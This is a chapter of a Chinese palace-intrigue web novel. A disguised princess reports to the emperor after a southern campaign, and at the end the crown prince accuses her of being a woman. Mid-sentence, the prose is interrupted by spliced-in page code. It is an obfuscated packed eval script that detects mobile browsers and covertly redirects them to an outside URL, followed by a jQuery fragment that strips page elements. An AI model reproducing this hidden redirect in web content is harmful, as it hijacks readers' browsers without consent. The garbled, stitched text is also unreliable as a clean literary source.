42.告发

作品:《最终她成为皇帝

    扬州福满楼一聚终是庄周梦了蝶,将富清长公主拨来的士兵交还给她后,林恪便骑上一匹快马,带着亲信走了,去上京。


    她骑了整整七日马,在天刚蒙蒙亮的时候到京,还没来得及换衣裳,两个从宫里来的太监便乘了一顶小轿,到她府邸尖声尖气传旨,说皇帝要唤她进宫。


    她就这样穿着那件同白鸾她们一起嬉闹过的,衣袖上绣着兰花的旧衣,跟太监进了宫。


    天还未亮,远处山上有霞光,这条路她太熟悉了,闭着眼睛都能走到,于是林恪悄悄抬起头,盯着霞光看了许久。


    大明宫和她走之前并没有什么区别。一样的红墙绿瓦,一样的被瓦当分割的蓝天,飞鸟被人的脚步惊扰,嘎嘎一阵乱叫,挥动笨重的翅膀飞出这片被人为分割成一小块又一小块的皇宫。


    林恪跟在太监后面,一步一步走进紫宸殿。


    大昭的皇帝,富清长公主的胞弟,她的父亲,已经坐在高高的明堂之上等候多时。她看不清他的脸,却知道他正在从珠帘的缝隙里看着她。


    林恪走到殿中,一跪三叩,静跪着等待皇帝发话。


    多年来,她最不缺的便是等候的耐心。林恪有些自嘲地想。


    终于,等到不能再等的时候,皇帝开口。


    “你这次去岭南,可学到了什么?”


    “等。”


    “等什么?”


    “等一个机缘。机缘到了,乘胜追击可得胜,机缘不到,费万般力气也不行。”


    这番话无疑取悦了一心在皇宫修道的皇帝,他抬起手,抚摸自己的胡子,站起来,往林恪跪着的大殿中央走了几步,他继续问。


    “你认为你打赢岭南这场仗了吗?”


    “不。”


    “为何?”


    “君不君,臣不臣,民不民,怎能叫赢?依儿臣看,分明是大昭输了。”


    皇帝再往前走了几步,走到大殿的柱子前,对林恪说出的大不敬的话语并未表示反对,也没赞成,不知道在想什么。他问了林恪最后一个问题。


    “你想要什么奖赏?”


    林恪没有半分犹豫。


    “儿臣自知不配站在将士们的尸体上讨要奖励,但儿臣听闻宁安郡主的娘曾留下过一对嵌宝石莲瓣纹金耳坠,如今正在库房里搁着,倒不如赏给宁安郡主,权当全了她一片思母情深。”


    拿军功换别人娘的遗物借花献佛,这哪里是要奖赏,分明是在向上京众人,向林琅表明白鸾是她林恪的人。


    皇帝终于走到林恪跟前,他先站定,居高临下瞧这个早在出生时就被他放弃了的儿子,后才半蹲下,仔细看林恪的脸。


    那张脸上没有怨惧,也没有悔恨,是一张年轻的脸。


    皇帝有些惊奇。在他的观念里,林恪从来都是不争不抢的性格,平时沉闷到几乎纳,说话办事滴水不漏。


    就是这样一个人,居然也会为了女人求他。


    有意思。


    他继续用一种审视的眼光瞧林恪,像是在审时度势,后不紧不慢开口:“也不知道宁安有什么本事,竟叫你和琅儿连体面都不要,反倒争抢起来了。”


    林恪重重往地上磕了一个头。


    “此事与宁安郡主无关。”


    皇帝欣欣然开怀大笑。


    到他这个位置已经可以喜怒形于色,反正全天下都要看他的脸色,有时候,他甚至可以用喜怒操控朝臣,从而达到某些目的。


    对于上位者而言,喜怒本身就是一种工具,无需避讳。


    比如现在,看到两个儿子演上一出争夺同一个女人的戏,他只会觉得很有趣。


    只要威胁不到自己坐稳皇位的事情,他都会觉得有趣。


    皇帝又站起身,往龙椅方向踱步。


    “你回去吧,如你所愿。”


    “三日后,太庙会举行献俘礼,到时你来。”


    林恪最后磕了一个头,说了句“谢主隆恩”,往门方向走了。


    出了紫宸殿,太阳已经升起来,照在宫殿的琉璃瓦上,映出一片流光。


    出宫门时,林恪在马车上,刚好遇到了同样坐马车入宫的林琅。


    见是她,林琅掀开了帷裳,漫不经心向她问好。


    “皇兄好。”


    林恪也回了声好。


    “皇兄如今在岭南打了大胜仗,可真真是我们大昭的英雄了,不知皇兄可有时间,同我说上两句话?”


    说这话时,林琅已然下了马车,站在轮子下同林恪讲话,看上去谦卑得很,不知道的还以为俩人在玩什么兄友弟恭的戏码。


    林恪眯了一下眼睛。


    不知道是不是她的错觉,总觉得今日的林琅和往日不太一样,那双眼睛里盛满了她看不真切的东西,有愤怒,有痛苦,还有赤裸裸的恨。


    就好像活过两辈子似的。


    但这点疑惑自然不能表露出来,林恪笑了笑,装作什么都没看出来,照旧回他:“哪里的话,太子谬赞了。您若想谈天,自然是有空的。”


    说完,林恪也下了马车。


    “那就多谢皇兄成全了。”


    林琅说完这句话后便再往前走了两步,显然是在带路,引林恪往宫里走。


    林恪不知道他葫芦里卖的什么药,没有动,反倒是跟着林恪进宫的亲信看到此情此景,想跟上。


    林琅看出她的疑惑,又笑着对林恪说道:“皇兄可是信不过我?普天之下莫非王土,在这大明宫中,我哪怕有什么阴谋诡计,也使不出来的,请皇兄放心。”


    他话都说到这份上,林恪只好也跟着笑了笑,朝想跟上来的那个亲信使了一个眼色。


    “太子哪里的话,不过随从同我一般愚钝,认定了自己的职责,便死心眼地一个劲要完成罢了。”说完这话,她又扭头朝那个亲信说话,“还不快向太子请罪?”


    那亲信马上明白林恪话里深意,连连道歉还不够,就差没到东宫负荆请罪了。


    不知怎么,向来滴水不漏的林琅今日像着了魔,只是不耐烦地挥了挥袖子,示意请罪的那亲信下去,随后便引着林恪往宫中东南角走。


    两人一前一后走了许久,终于在某个角落站定。


    林恪明白林琅为何喊她在这处谈话。


    皇帝年老,他的孩子却正当年,无论对他的哪个儿子,在皇帝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907186|187440||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼中,政敌的身份都要远远大于儿子的身份。


    他们林家的老传统了,一百年前还有一日杀三子的皇帝呢。


    林琅没打算和她弯弯绕绕。


    “我知皇兄此次回京前去了扬州,宁安郡主和我那不成器的妹子可还好?”


    “都好。”


    林琅站得离她近了些,刚好把两人的距离控制在林恪有不满,却又不至于后退的地步。


    “不知皇兄何等打算,但我心悦宁安郡主已久,还望皇兄成全。”


    林恪只觉一道惊雷在头顶炸开,明显愣了一息,才勉强答道。


    “这样的事情还是要考虑宁安郡主的意思,太子以为呢?”


    林琅冷笑了一声。


    “这就是你的答案吗?皇兄。”


    林恪长叹一口气,朝林琅规规矩矩行了个礼:“如果太子以为这是挑衅的话,那就当做是吧。”


    说完,林恪不管站着的林琅,头也不回的离开了。


    这时太阳升得高高的,阳光把她的影子拉的很长。


    林琅站在原地,目送她离开。


    又过了三日,太庙东门,俘虏被列成一排,南面东上,行献附礼。


    林恪站在文武百官之前,她是皇子,又是打了胜仗的将军,自然站到最前面。


    不远处,有乐工二十四人,手持各色乐器,奏着《破阵乐》一曲,曲终,林恪她踏着铮铮乐曲,告献于社庙。做完这一切后,她又被宰相引到御楼之上,亲自献俘于皇帝。


    皇帝信奉太上,自然不会愿意自己手上直接沾染人血。是以这次献俘,林恪送上来的是木匣子里裹上石灰装的岭南节度使的一颗头颅。


    皇帝接过那颗头,先是嘴中念念有词祷告天地和祖先,林恪在一旁候着等了好一会儿,皇帝终于祷告完了,开始抱着那木匣痛哭起来。


    他一会儿为自己向三清告罪,一会儿又开始为自己歌功颂德,总体而言,前者说的比后者少得多。


    林恪在一旁站着,静静看着这个全大昭身份最尊贵的男人演戏,心中想的却是,也不知道他哪句是真,哪句是假?


    当然,也有可能都是假话。史书里,皇帝不都是这样的吗?


    林恪在心中冷笑,面上却还是一副恭敬的态度。


    礼毕,皇帝放下那个装有人头的木匣子,朝林恪挥了挥手,待林恪走近后,他忽然说。


    “朕将宁安郡主赐婚于你可好?”


    林恪愣住,想到在扬州时白鸾的话,又想到三日前林琅的势在必得,一时间心中不禁盘算起该如何回答对白鸾最有利,是以她给出的回答也模棱两可。


    “这……儿臣总要先问问她的意思。”


    林恪说话滴水不漏,脸上的为难也恰到好处。


    皇帝并不打算为难一个刚刚替他打胜仗的皇子。


    “也好。”


    他说完,主动伸手拉起林恪的手,在文武百官面前给了林恪一份一同下御楼的“殊荣”。


    这时候,林琅却上前,眼睛看着皇帝,掷地有声。


    “儿臣要揭发皇兄欺君之罪。”


    “她分明是女儿身!”